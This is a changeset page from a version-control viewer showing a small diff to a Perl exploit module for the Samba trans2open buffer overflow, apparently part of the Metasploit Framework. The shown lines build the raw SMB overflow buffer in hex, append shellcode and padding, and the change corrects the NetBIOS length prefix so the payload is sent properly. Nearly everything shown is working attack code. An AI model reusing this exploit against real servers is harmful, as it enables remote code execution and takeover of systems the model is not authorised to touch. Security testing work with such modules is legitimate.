Changeset 4062

Show
Ignore:
Timestamp:
10/28/06 11:41:46 (2 years ago)
Author:
hdm
Message:

NetBIOS length field is properly calculated

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework2/trunk/exploits/samba_trans2open.pm

    r3818 r4062  
    191191 
    192192                my $Overflow = 
    193                   "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 
     193                  "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 
    194194                  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". 
    195195                  "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00". 
     
    198198                  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"; 
    199199 
     200                 
     201 
    200202                $Overflow .=  $shellcode; 
    201203                $Overflow .= "A" x 297; 
     
    210212                } 
    211213 
     214                $Overflow = pack('CCn', 0, 0, length($Overflow)) . $Overflow; 
     215 
    212216                $s->Send($Overflow); 
    213217                $s->Send("\x00" x 810);